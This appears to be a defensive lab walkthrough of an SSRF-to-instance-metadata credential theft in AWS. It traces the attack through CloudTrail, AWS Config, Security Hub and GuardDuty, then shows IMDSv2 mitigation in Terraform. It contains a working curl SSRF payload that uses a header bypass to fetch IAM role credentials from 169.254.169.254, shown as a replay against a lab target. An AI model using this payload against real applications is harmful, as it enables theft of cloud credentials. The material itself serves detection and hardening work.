    Why: Use this step to confirm the current evidence before moving on: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.

    Expected evidence: The highlighted acquire-temporary-credential control or evidence is visible.

    Next pivot: Continue to acquire-temporary-credential.

    7. Select the visible correlated application event row. Open acquire-temporary-credential. This matters because it preserves the declared investigation path: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.
  8. 8
    detail

    acquire-temporary-credential

    Click: acquire-temporary-credential

    Open the event detail and confirm the run, action, request and response-hash fields. Open acquire-temporary-credential.

    Why: Use this step to confirm the current evidence before moving on: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.

    Expected evidence: The bounded route denial, metadata role-path reach and temporary-credential acquisition actions are visible.

    Next pivot: Correlate run_id, action_id, request_id, response_sha256 with the next evidence source.

    8. Open the event detail and confirm the run, action, request and response-hash fields. Open acquire-temporary-credential. This matters because it preserves the declared investigation path: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.
Investigation outcome

The application log ties the bounded SSRF steps to this exact qualification run. Expected state: The bounded route denial, metadata role-path reach and temporary-credential acquisition actions are visible.

AWS Console follow-alongCloudWatch > Logs > run-bound CloudTrail log group > GetCallerIdentity

The application event proved temporary credentials were acquired for the current run.

  1. 1
    entry

    CloudWatch

    Click: CloudWatch

    From the application event, pivot to the CloudWatch service landing page. Open CloudWatch.

    Why: Use this step to confirm the current evidence before moving on: The application event proved temporary credentials were acquired for the current run.

    Expected evidence: The highlighted CloudWatch control or evidence is visible.

    Next pivot: Continue to Logs.

    1. From the application event, pivot to the CloudWatch service landing page. Open CloudWatch. This matters because it preserves the declared investigation path: The application event proved temporary credentials were acquired for the current run.
  2. 2
    navigation

    Logs

    Click: Logs

    Expand Logs, then choose Log Management and Log groups. Click Logs.

    Why: Use this step to confirm the current evidence before moving on: Determine whether the acquired temporary session was used to identify its AWS principal.

    Expected evidence: The highlighted Logs control or evidence is visible.

    Next pivot: Continue to Log Management.

    2. Expand Logs, then choose Log Management and Log groups. Click Logs. This matters because it preserves the declared investigation path: Determine whether the acquired temporary session was used to identify its AWS principal.
  3. 3
    navigation

    Log Management

    Click: Log Management

    Expand Logs, then choose Log Management and Log groups. Click Log Management.

    Why: Use this step to confirm the current evidence before moving on: Determine whether the acquired temporary session was used to identify its AWS principal.

    Expected evidence: The highlighted Log Management control or evidence is visible.

    Next pivot: Continue to /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail.

    3. Expand Logs, then choose Log Management and Log groups. Click Log Management. This matters because it preserves the declared investigation path: Determine whether the acquired temporary session was used to identify its AWS principal.
  4. 4
    selection

    /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail

    Click: /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail

    Open the pseudonymised current-run CloudTrail log group and choose Search all log streams. Click /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail.

    Why: Use this step to confirm the current evidence before moving on: Determine whether the acquired temporary session was used to identify its AWS principal.

    Expected evidence: The highlighted /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail control or evidence is visible.

    Next pivot: Continue to Search all log streams.

    4. Open the pseudonymised current-run CloudTrail log group and choose Search all log streams. Click /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail. This matters because it preserves the declared investigation path: Determine whether the acquired temporary session was used to identify its AWS principal.
  5. 5
    selection

    Search all log streams

    Click: Search all log streams

    Open the pseudonymised current-run CloudTrail log group and choose Search all log streams. Click Search all log streams.

    Why: Use this step to confirm the current evidence before moving on: Determine whether the acquired temporary session was used to identify its AWS principal.

    Expected evidence: The highlighted Search all log streams control or evidence is visible.

    Next pivot: Continue to current-instance-credential-events.

    5. Open the pseudonymised current-run CloudTrail log group and choose Search all log streams. Click Search all log streams. This matters because it preserves the declared investigation path: Determine whether the acquired temporary session was used to identify its AWS principal.
  6. 6
    filter

    current-instance-credential-events

    Click: current-instance-credential-events

    Filter for credentials issued to the selected EC2 instance, then choose GetCallerIdentity because the next question is which principal used that session. Open current-instance-credential-events.

    Why: Use this step to confirm the current evidence before moving on: Filter for events whose credentialsIssuedTo field names the current EC2 instance, then select GetCallerIdentity so workflow and deployment-role activity cannot enter the evidence frame.

    Expected evidence: The highlighted current-instance-credential-events control or evidence is visible.

    Next pivot: Continue to GetCallerIdentity.

    6. Filter for credentials issued to the selected EC2 instance, then choose GetCallerIdentity because the next question is which principal used that session. Open current-instance-credential-events. This matters because it preserves the declared investigation path: Filter for events whose credentialsIssuedTo field names the current EC2 instance, then select GetCallerIdentity so workflow and deployment-role activity cannot enter the evidence frame.
  7. 7
    evidence

    GetCallerIdentity

    Click: GetCallerIdentity

    Select the matching event row and use its enabled expander. Open GetCallerIdentity.

    Why: Use this step to confirm the current evidence before moving on: Determine whether the acquired temporary session was used to identify its AWS principal.

    Expected evidence: The highlighted GetCallerIdentity control or evidence is visible.

    Next pivot: Continue to GetCallerIdentity.

    7. Select the matching event row and use its enabled expander. Open GetCallerIdentity. This matters because it preserves the declared investigation path: Determine whether the acquired temporary session was used to identify its AWS principal.
  8. 8
    detail

    GetCallerIdentity

    Click: GetCallerIdentity

    Inspect the full JSON and correlate the action, principal and source fields inside the unchanged time window. Open GetCallerIdentity.

    Why: Use this step to confirm the current evidence before moving on: Determine whether the acquired temporary session was used to identify its AWS principal.

    Expected evidence: The correlated GetCallerIdentity event and its full CloudTrail JSON are visible.

    Next pivot: Correlate run_id, action_id, event_name, principal_id, source_ip with the next evidence source.

    8. Inspect the full JSON and correlate the action, principal and source fields inside the unchanged time window. Open GetCallerIdentity. This matters because it preserves the declared investigation path: Determine whether the acquired temporary session was used to identify its AWS principal.
Investigation outcome

CloudTrail shows that the temporary role session identified its AWS principal before any later action. Expected state: The correlated GetCallerIdentity event and its full CloudTrail JSON are visible.

AWS Console follow-alongCloudTrail in us-east-1 > Event history > exact GetRole event ID

The IMDS response supplied the role name and GetCallerIdentity established the current-run temporary principal.

  1. 1
    entry

    Event history

    Click: Event history

    Open the CloudTrail service in us-east-1, where global IAM management events are recorded. Open Event history.

    Why: Use this step to confirm the current evidence before moving on: The IMDS response supplied the role name and GetCallerIdentity established the current-run temporary principal.

    Expected evidence: The highlighted Event history control or evidence is visible.

    Next pivot: Continue to Event history.

    1. Open the CloudTrail service in us-east-1, where global IAM management events are recorded. Open Event history. This matters because it preserves the declared investigation path: The IMDS response supplied the role name and GetCallerIdentity established the current-run temporary principal.
  2. 2
    navigation

    Event history

    Click: Event history

    Choose Event history while keeping the immutable qualification window as the investigation boundary. Open Event history.

    Why: Use this step to confirm the current evidence before moving on: Confirm the permissions context of the exact role name already observed from IMDS without enumerating unrelated roles.

    Expected evidence: The highlighted Event history control or evidence is visible.

    Next pivot: Continue to Event ID.

    2. Choose Event history while keeping the immutable qualification window as the investigation boundary. Open Event history. This matters because it preserves the declared investigation path: Confirm the permissions context of the exact role name already observed from IMDS without enumerating unrelated roles.
  3. 3
    selection

    Event ID

    Click: Event ID

    Select Event ID as the lookup attribute. Open Event ID.

    Why: Use this step to confirm the current evidence before moving on: Global IAM management events are recorded in us-east-1 rather than the lab's regional CloudWatch delivery stream. Filter Event History by the exact GetRole event ID already proved in the bounded raw evidence so unrelated role reads are excluded.

    Expected evidence: The highlighted Event ID control or evidence is visible.

    Next pivot: Paste the exact current-run GetRole Event ID from the evidence record.

    3. Select Event ID as the lookup attribute. Open Event ID. This matters because it preserves the declared investigation path: Global IAM management events are recorded in us-east-1 rather than the lab's regional CloudWatch delivery stream. Filter Event History by the exact GetRole event ID already proved in the bounded raw evidence so unrelated role reads are excluded.
  4. 4
    filter

    Filter to the run-bound GetRole event

    Click: Event ID filter value

    Paste the exact current-run GetRole Event ID into the Event ID filter value, then open the single matching GetRole result.

    Why: Use this step to confirm the current evidence before moving on: Global IAM management events are recorded in us-east-1 rather than the lab's regional CloudWatch delivery stream. Filter Event History by the exact GetRole event ID already proved in the bounded raw evidence so unrelated role reads are excluded.

    Expected evidence: The filter returns one GetRole event from the current qualification run.

    Next pivot: Open the matching GetRole event.

    4. Paste the exact current-run GetRole Event ID into the Event ID filter value and confirm the one result is GetRole rather than an unrelated event. The published screenshot uses a stable pseudonym for that run-specific value. This matters because filtering to the exact current-run event excludes unrelated role reads; global IAM management events are recorded in us-east-1.
  5. 5
    evidence

    GetRole

    Click: GetRole

    Open the GetRole row. Open GetRole.

    Why: Use this step to confirm the current evidence before moving on: Confirm the permissions context of the exact role name already observed from IMDS without enumerating unrelated roles.

    Expected evidence: The highlighted GetRole control or evidence is visible.

    Next pivot: Continue to Event record.

    5. Open the GetRole row. Open GetRole. This matters because it preserves the declared investigation path: Confirm the permissions context of the exact role name already observed from IMDS without enumerating unrelated roles.
  6. 6
    detail

    Event record

    Click: Event record

    Inspect Event record and correlate credentialsIssuedTo, the principal, source and exact compromised role path. Open Event record.

    Why: Use this step to confirm the current evidence before moving on: Confirm the permissions context of the exact role name already observed from IMDS without enumerating unrelated roles.

    Expected evidence: The exact run-bound GetRole event is visible, with its Event record JSON open.

    Next pivot: Correlate run_id, action_id, event_name, principal_id, source_ip with the next evidence source.

    6. Inspect Event record and correlate credentialsIssuedTo, the principal, source and exact compromised role path. Open Event record. This matters because it preserves the declared investigation path: Confirm the permissions context of the exact role name already observed from IMDS without enumerating unrelated roles.
Investigation outcome

The following CloudTrail event proves the temporary session inspected the exact compromised role name already returned by IMDS. Expected state: The exact run-bound GetRole event is visible, with its Event record JSON open.

AWS Console follow-alongCloudWatch > run-bound CloudTrail log group

Delivered application JavaScript exposed the archive bucket and prefix; GetRole confirmed the compromised role that will use them.

  1. 1
    entry

    CloudWatch

    Click: CloudWatch

    Return to the CloudWatch service landing page for the data-access pivot. Open CloudWatch.

    Why: Use this step to confirm the current evidence before moving on: Delivered application JavaScript exposed the archive bucket and prefix; GetRole confirmed the compromised role that will use them.

    Expected evidence: The highlighted CloudWatch control or evidence is visible.

    Next pivot: Continue to Logs.

    1. Return to the CloudWatch service landing page for the data-access pivot. Open CloudWatch. This matters because it preserves the declared investigation path: Delivered application JavaScript exposed the archive bucket and prefix; GetRole confirmed the compromised role that will use them.
  2. 2
    navigation

    Logs

    Click: Logs

    Expand Logs, then choose Log Management and open the current-run CloudTrail log group. Click Logs.

    Why: Use this step to confirm the current evidence before moving on: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.

    Expected evidence: The highlighted Logs control or evidence is visible.

    Next pivot: Continue to Log Management.

    2. Expand Logs, then choose Log Management and open the current-run CloudTrail log group. Click Logs. This matters because it preserves the declared investigation path: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.
  3. 3
    navigation

    Log Management

    Click: Log Management

    Expand Logs, then choose Log Management and open the current-run CloudTrail log group. Click Log Management.

    Why: Use this step to confirm the current evidence before moving on: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.

    Expected evidence: The highlighted Log Management control or evidence is visible.

    Next pivot: Continue to /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail.

    3. Expand Logs, then choose Log Management and open the current-run CloudTrail log group. Click Log Management. This matters because it preserves the declared investigation path: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.
  4. 4
    selection

    /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail

    Click: /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail

    Choose Search all log streams inside the unchanged qualification window. Click /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail.

    Why: Use this step to confirm the current evidence before moving on: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.

    Expected evidence: The highlighted /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail control or evidence is visible.

    Next pivot: Continue to Search all log streams.

    4. Choose Search all log streams inside the unchanged qualification window. Click /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail. This matters because it preserves the declared investigation path: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.
  5. 5
    selection

    Search all log streams

    Click: Search all log streams

    Choose Search all log streams inside the unchanged qualification window. Click Search all log streams.

    Why: Use this step to confirm the current evidence before moving on: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.

    Expected evidence: The highlighted Search all log streams control or evidence is visible.

    Next pivot: Continue to current-instance-credential-events.

    5. Choose Search all log streams inside the unchanged qualification window. Click Search all log streams. This matters because it preserves the declared investigation path: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.
  6. 6
    filter

    current-instance-credential-events

    Click: current-instance-credential-events

    Filter for credentials issued to the selected EC2 instance to isolate the stolen session's activity. Open current-instance-credential-events.

    Why: Use this step to confirm the current evidence before moving on: Filter for events whose credentialsIssuedTo field names the current EC2 instance so unrelated principals are excluded before selecting ListObjects and GetObject.

    Expected evidence: The highlighted current-instance-credential-events control or evidence is visible.

    Next pivot: Continue to ListObjects, GetObject.

    6. Filter for credentials issued to the selected EC2 instance to isolate the stolen session's activity. Open current-instance-credential-events. This matters because it preserves the declared investigation path: Filter for events whose credentialsIssuedTo field names the current EC2 instance so unrelated principals are excluded before selecting ListObjects and GetObject.
  7. 7
    evidence

    ListObjects, GetObject

    Click: ListObjects, GetObject

    Select the matching ListObjects event, then the matching GetObject event. Open ListObjects, GetObject.

    Why: Use this step to confirm the current evidence before moving on: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.

    Expected evidence: The highlighted ListObjects, GetObject control or evidence is visible.

    Next pivot: Continue to GetObject.

    7. Select the matching ListObjects event, then the matching GetObject event. Open ListObjects, GetObject. This matters because it preserves the declared investigation path: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.
  8. 8
    detail

    GetObject

    Click: GetObject

    Open the GetObject detail and correlate the principal, synthetic bucket and object key. Open GetObject.

    Why: Use this step to confirm the current evidence before moving on: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.

    Expected evidence: ListObjects and GetObject events for the temporary role session are visible.

    Next pivot: Correlate run_id, action_id, principal_id, event_name, bucket_name, object_key with the next evidence source.

    8. Open the GetObject detail and correlate the principal, synthetic bucket and object key. Open GetObject. This matters because it preserves the declared investigation path: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.
Investigation outcome

The run-bound data events show the attacker using the archive bucket and prefix discovered earlier in delivered application JavaScript, then reading only the synthetic object. Expected state: ListObjects and GetObject events for the temporary role session are visible.

Defender view: posture and control findings

AWS Config evaluates whether the instance requires IMDSv2 [3]. Security Hub EC2.8 surfaces the related EC2 control state [6]. These are posture findings: they explain why the path is possible, while the application and CloudTrail events show what happened.

AWS Console follow-alongAWS Config > Rules > EC2_IMDSV2_CHECK

The EC2 configuration view established that IMDSv2 was Optional on the target.

  1. 1
    entry

    AWS Config

    Click: AWS Config

    Open AWS Config from the service menu. Open AWS Config.

    Why: Use this step to confirm the current evidence before moving on: The EC2 configuration view established that IMDSv2 was Optional on the target.

    Expected evidence: The highlighted AWS Config control or evidence is visible.

    Next pivot: Continue to Rules.

    1. Open AWS Config from the service menu. Open AWS Config. This matters because it preserves the declared investigation path: The EC2 configuration view established that IMDSv2 was Optional on the target.
  2. 2
    navigation

    Rules

    Click: Rules

    Choose Rules from the AWS Config navigation. Click Rules.

    Why: Use this step to confirm the current evidence before moving on: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path.

    Expected evidence: The highlighted Rules control or evidence is visible.

    Next pivot: Continue to Noncompliant.

    2. Choose Rules from the AWS Config navigation. Click Rules. This matters because it preserves the declared investigation path: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path.
  3. 3
    filter

    Noncompliant

    Click: Noncompliant

    Filter to the current-run IMDSv2 rule and Noncompliant evaluations. Open Noncompliant.

    Why: Use this step to confirm the current evidence before moving on: Select the readable current-run IMDSv2 rule pseudonym and its single noncompliant resource.

    Expected evidence: The highlighted Noncompliant control or evidence is visible.

    Next pivot: Continue to etm-lab-imdsv2-northwind-range-review.

    3. Filter to the current-run IMDSv2 rule and Noncompliant evaluations. Open Noncompliant. This matters because it preserves the declared investigation path: Select the readable current-run IMDSv2 rule pseudonym and its single noncompliant resource.
  4. 4
    selection

    etm-lab-imdsv2-northwind-range-review

    Click: etm-lab-imdsv2-northwind-range-review

    Select the readable current-run IMDSv2 rule pseudonym rather than a blurred rule name. Click etm-lab-imdsv2-northwind-range-review.

    Why: Use this step to confirm the current evidence before moving on: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path.

    Expected evidence: The highlighted etm-lab-imdsv2-northwind-range-review control or evidence is visible.

    Next pivot: Continue to etm-lab-imdsv2-northwind-range-review, Noncompliant.

    4. Select the readable current-run IMDSv2 rule pseudonym rather than a blurred rule name. Click etm-lab-imdsv2-northwind-range-review. This matters because it preserves the declared investigation path: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path.
  5. 5
    evidence

    etm-lab-imdsv2-northwind-range-review, Noncompliant

    Click: etm-lab-imdsv2-northwind-range-review, Noncompliant

    Choose its visible enabled noncompliant resource row. Open etm-lab-imdsv2-northwind-range-review, Noncompliant.

    Why: Use this step to confirm the current evidence before moving on: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path.

    Expected evidence: The highlighted etm-lab-imdsv2-northwind-range-review, Noncompliant control or evidence is visible.

    Next pivot: Continue to target-instance.

    5. Choose its visible enabled noncompliant resource row. Open etm-lab-imdsv2-northwind-range-review, Noncompliant. This matters because it preserves the declared investigation path: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path.
  6. 6
    detail

    target-instance

    Click: target-instance

    Keep the rule description and selected target row together so the HttpTokens=optional logic and Noncompliant resource remain visible. Open target-instance.

    Why: Use this step to confirm the current evidence before moving on: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path.

    Expected evidence: The run-bound rule and target resource are Noncompliant.

    Next pivot: Correlate run_id, config_rule_name, target_instance_id, compliance_type with the next evidence source.

    6. Keep the rule description and selected target row together so the HttpTokens=optional logic and Noncompliant resource remain visible. Open target-instance. This matters because it preserves the declared investigation path: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path.
Investigation outcome

AWS Config independently identifies that IMDSv2 is not enforced on the target. Expected state: The run-bound rule and target resource are Noncompliant.

AWS Console follow-alongSecurity Hub > Security standards > AWS Foundational Security Best Practices v1.0.0 > View results > EC2.8

AWS Config independently marked the target's IMDSv2 setting noncompliant.

  1. 1
    entry

    Security Hub

    Click: Security Hub

    Open Security Hub CSPM from the service menu. Open Security Hub.

    Why: Use this step to confirm the current evidence before moving on: AWS Config independently marked the target's IMDSv2 setting noncompliant.

    Expected evidence: The highlighted Security Hub control or evidence is visible.

    Next pivot: Continue to Security standards.

    1. Open Security Hub CSPM from the service menu. Open Security Hub. This matters because it preserves the declared investigation path: AWS Config independently marked the target's IMDSv2 setting noncompliant.
  2. 2
    navigation

    Security standards

    Click: Security standards

    Choose Security standards, then choose View results for AWS Foundational Security Best Practices v1.0.0. Click Security standards.

    Why: Use this step to confirm the current evidence before moving on: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.

    Expected evidence: The highlighted Security standards control or evidence is visible.

    Next pivot: Continue to View results.

    2. Choose Security standards, then choose View results for AWS Foundational Security Best Practices v1.0.0. Click Security standards. This matters because it preserves the declared investigation path: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.
  3. 3
    selection

    View results

    Click: View results

    Open control EC2.8 and confirm the control heading before filtering its checks. Click View results.

    Why: Use this step to confirm the current evidence before moving on: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.

    Expected evidence: The highlighted View results control or evidence is visible.

    Next pivot: Continue to EC2.8.

    3. Open control EC2.8 and confirm the control heading before filtering its checks. Click View results. This matters because it preserves the declared investigation path: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.
  4. 4
    selection

    EC2.8

    Click: EC2.8

    Open control EC2.8 and confirm the control heading before filtering its checks. Open EC2.8.

    Why: Use this step to confirm the current evidence before moving on: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.

    Expected evidence: The highlighted EC2.8 control or evidence is visible.

    Next pivot: Continue to failed-checks.

    4. Open control EC2.8 and confirm the control heading before filtering its checks. Open EC2.8. This matters because it preserves the declared investigation path: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.
  5. 5
    filter

    failed-checks

    Click: failed-checks

    Choose Failed in the EC2.8 compliance panel; the run-bound API evidence confirms the sole failed row belongs to the target instance. Open failed-checks.

    Why: Use this step to confirm the current evidence before moving on: Choose Failed in the EC2.8 compliance panel, then open the sole failed row that the run-bound API evidence correlates to the target instance.

    Expected evidence: The highlighted failed-checks control or evidence is visible.

    Next pivot: Continue to EC2.8, Failed.

    5. Choose Failed in the EC2.8 compliance panel; the run-bound API evidence confirms the sole failed row belongs to the target instance. Open failed-checks. This matters because it preserves the declared investigation path: Choose Failed in the EC2.8 compliance panel, then open the sole failed row that the run-bound API evidence correlates to the target instance.
  6. 6
    evidence

    EC2.8, Failed

    Click: EC2.8, Failed

    Select the correlated failed finding row. Open EC2.8, Failed.

    Why: Use this step to confirm the current evidence before moving on: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.

    Expected evidence: The highlighted EC2.8, Failed control or evidence is visible.

    Next pivot: Continue to Resource details.

    6. Select the correlated failed finding row. Open EC2.8, Failed. This matters because it preserves the declared investigation path: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.
  7. 7
    detail

    Resource details

    Click: Resource details

    Open Finding details, then the affected Resource view. Open Resource details.

    Why: Use this step to confirm the current evidence before moving on: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.

    Expected evidence: EC2.8 is Failed for the correlated target instance.

    Next pivot: Correlate run_id, control_id, target_instance_id, finding_id, workflow_status with the next evidence source.

    7. Open Finding details, then the affected Resource view. Open Resource details. This matters because it preserves the declared investigation path: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.
Investigation outcome

Security Hub control EC2.8 turns the unsafe metadata setting into a security-posture finding. Expected state: EC2.8 is Failed for the correlated target instance.

Defender view: investigate the two GuardDuty findings

The same Range run produced two relevant GuardDuty findings. InstanceCredentialExfiltration.OutsideAWS detected the EC2 role credential being used away from its instance. PenTest:IAMUser/KaliLinux identified GetRole from the Kali AWS client. Filter by each exact finding ID, investigate them separately and correlate both to the same role, time window and CloudTrail events [5]. Historical findings remain retained evidence; they are not part of this run.

The second finding is separate evidence

PenTest:IAMUser/KaliLinux is not a duplicate of the credential-exfiltration finding. It identifies GetRole from the Kali client. The recording filters to that exact finding ID after completing the first drawer, then correlates it with the CloudTrail GetRole event. Both findings are shown in the Range journey diagram as D01 and D10.

AWS Console follow-alongGuardDuty > Findings > current-run finding

CloudTrail proved the temporary role performed identity and synthetic S3 actions away from the instance path.

  1. 1
    entry

    GuardDuty

    Click: GuardDuty

    Open the GuardDuty service landing page. Open GuardDuty.

    Why: Use this step to confirm the current evidence before moving on: CloudTrail proved the temporary role performed identity and synthetic S3 actions away from the instance path.

    Expected evidence: The highlighted GuardDuty control or evidence is visible.

    Next pivot: Continue to Findings.

    1. Open the GuardDuty service landing page. Open GuardDuty. This matters because it preserves the declared investigation path: CloudTrail proved the temporary role performed identity and synthetic S3 actions away from the instance path.
  2. 2
    navigation

    Findings

    Click: Findings

    Choose Findings from the GuardDuty navigation. Click Findings.

    Why: Use this step to confirm the current evidence before moving on: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.

    Expected evidence: The highlighted Findings control or evidence is visible.

    Next pivot: Continue to 0123456789abcdef0123456789abcdef.

    2. Choose Findings from the GuardDuty navigation. Click Findings. This matters because it preserves the declared investigation path: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.
  3. 3
    filter

    0123456789abcdef0123456789abcdef

    Click: 0123456789abcdef0123456789abcdef

    Filter for the readable current-run finding pseudonym inside the unchanged qualification window. Open 0123456789abcdef0123456789abcdef.

    Why: Use this step to confirm the current evidence before moving on: Filter for the current-run finding pseudonym; never select the unrelated or disabled Actions control.

    Expected evidence: The highlighted 0123456789abcdef0123456789abcdef control or evidence is visible.

    Next pivot: Continue to UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS.

    3. Filter for the readable current-run finding pseudonym inside the unchanged qualification window. Open 0123456789abcdef0123456789abcdef. This matters because it preserves the declared investigation path: Filter for the current-run finding pseudonym; never select the unrelated or disabled Actions control.
  4. 4
    selection

    UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS

    Click: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS

    Select the visible enabled finding title link or row; do not select the grey Actions control. Open UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS.

    Why: Use this step to confirm the current evidence before moving on: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.

    Expected evidence: The highlighted UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS control or evidence is visible.

    Next pivot: Continue to Overview.

    4. Select the visible enabled finding title link or row; do not select the grey Actions control. Open UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS. This matters because it preserves the declared investigation path: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.
  5. 5
    evidence

    Overview

    Click: Overview

    Open the finding and review Overview, Resource affected, Action and Actor in order. Open Overview.

    Why: Use this step to confirm the current evidence before moving on: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.

    Expected evidence: The highlighted Overview control or evidence is visible.

    Next pivot: Continue to Resource affected.

    5. Open the finding and review Overview, Resource affected, Action and Actor in order. Open Overview. This matters because it preserves the declared investigation path: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.
  6. 6
    detail

    Resource affected

    Click: Resource affected

    Correlate the finding, principal, instance and source fields back to the CloudTrail events. Open Resource affected.

    Why: Use this step to confirm the current evidence before moving on: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.

    Expected evidence: The highlighted Resource affected control or evidence is visible.

    Next pivot: Continue to Action.

    6. Correlate the finding, principal, instance and source fields back to the CloudTrail events. Open Resource affected. This matters because it preserves the declared investigation path: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.
  7. 7
    detail

    Action

    Click: Action

    Correlate the finding, principal, instance and source fields back to the CloudTrail events. Open Action.

    Why: Use this step to confirm the current evidence before moving on: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.

    Expected evidence: The highlighted Action control or evidence is visible.

    Next pivot: Continue to Actor.

    7. Correlate the finding, principal, instance and source fields back to the CloudTrail events. Open Action. This matters because it preserves the declared investigation path: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.
  8. 8
    detail

    Actor

    Click: Actor

    Correlate the finding, principal, instance and source fields back to the CloudTrail events. Open Actor.

    Why: Use this step to confirm the current evidence before moving on: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.

    Expected evidence: When observed, the finding overview, affected resource, action and actor are visible.

    Next pivot: Correlate run_id, finding_id, finding_type, principal_id, target_instance_id, source_ip with the next evidence source.

    8. Correlate the finding, principal, instance and source fields back to the CloudTrail events. Open Actor. This matters because it preserves the declared investigation path: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.
Investigation outcome

A current-run credential-exfiltration finding adds threat context, but its absence must be reported rather than replaced with sample data. Expected state: When observed, the finding overview, affected resource, action and actor are visible.

Mitigation: break the chain and prove the secure result

The efficient comparison deploys the isolated Range and Secure counterparts together, then exercises them one after the other. Both use the same scenario commit and semantic request. The Range success is captured first; the Secure replay must stop at IMDSv2 before any credential or attacker AWS action exists.

The identical architecture with each boundary restored. Compare it against the earlier diagram: nothing has moved, only the settings and the scope of the role. The same tokenless request is rejected before any credential exists.

Validate the final outbound destination

Revalidate after every rewrite and redirect. Deny link-local, loopback, private and metadata destinations unless the application explicitly needs them.

Require IMDSv2

Set metadata tokens to required and enforce the setting through the normal account and infrastructure baseline [1] [2] [3].

Reduce the instance role

Grant only the exact actions and resources the workload requires, or remove the role when it is unnecessary.

The application and request do not change between the two targets. The enforcing Terraform difference is one EC2 metadata option: the vulnerable target permits tokenless IMDSv1 requests, while the secure target requires an IMDSv2 session token.

Before: the vulnerable comparison target shows IMDSv2 Optional, which means tokenless IMDSv1 metadata requests remain available.
After: the secure comparison target shows IMDSv2 Required. The identical tokenless SSRF replay is rejected before a credential exists.
BeforeInsecure: IMDSv1 allowed

Tokenless metadata requests are accepted.

Copy insecure HCL
metadata_options {
  http_endpoint               = "enabled"
  http_put_response_hop_limit = 1
  http_tokens                 = "optional"
}
AfterSecure: IMDSv2 required

The same tokenless request is rejected.

Copy secure HCL
metadata_options {
  http_endpoint               = "enabled"
  http_put_response_hop_limit = 1
  http_tokens                 = "required"
}

The replay below is the same action-2 method, path, headers and metadata destination. Only the isolated Secure application origin changes.

Copy BASH
curl -i -sS \
  -H 'Content-Type: application/json' \
  -H 'X-Original-URL: /internal/preview' \
  -d '{"target_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  http://member-documents-secure.northwind.test:8001/api/preview
AWS Console follow-alongEC2 > Secure comparison instance > Details > IMDSv2

The Range replay acquired a temporary role credential because the vulnerable target admitted the tokenless metadata request. Inspect the isolated Secure counterpart before replaying that same request.

  1. 1
    entry

    Open the Secure account EC2 service

    Click: EC2

    Open EC2 in Europe (London).

    Why: Open the live service to confirm the mitigation against the actual Secure target, not Terraform or an empty post-teardown page.

    Expected evidence: The real EC2 service landing page is visible.

    Next pivot: Open the instance inventory.

    1. Open EC2 because the mitigation must be checked in the isolated Secure account and Europe (London) region.
  2. 2
    navigation

    Open Instances

    Click: Instances

    Choose Instances from the EC2 navigation.

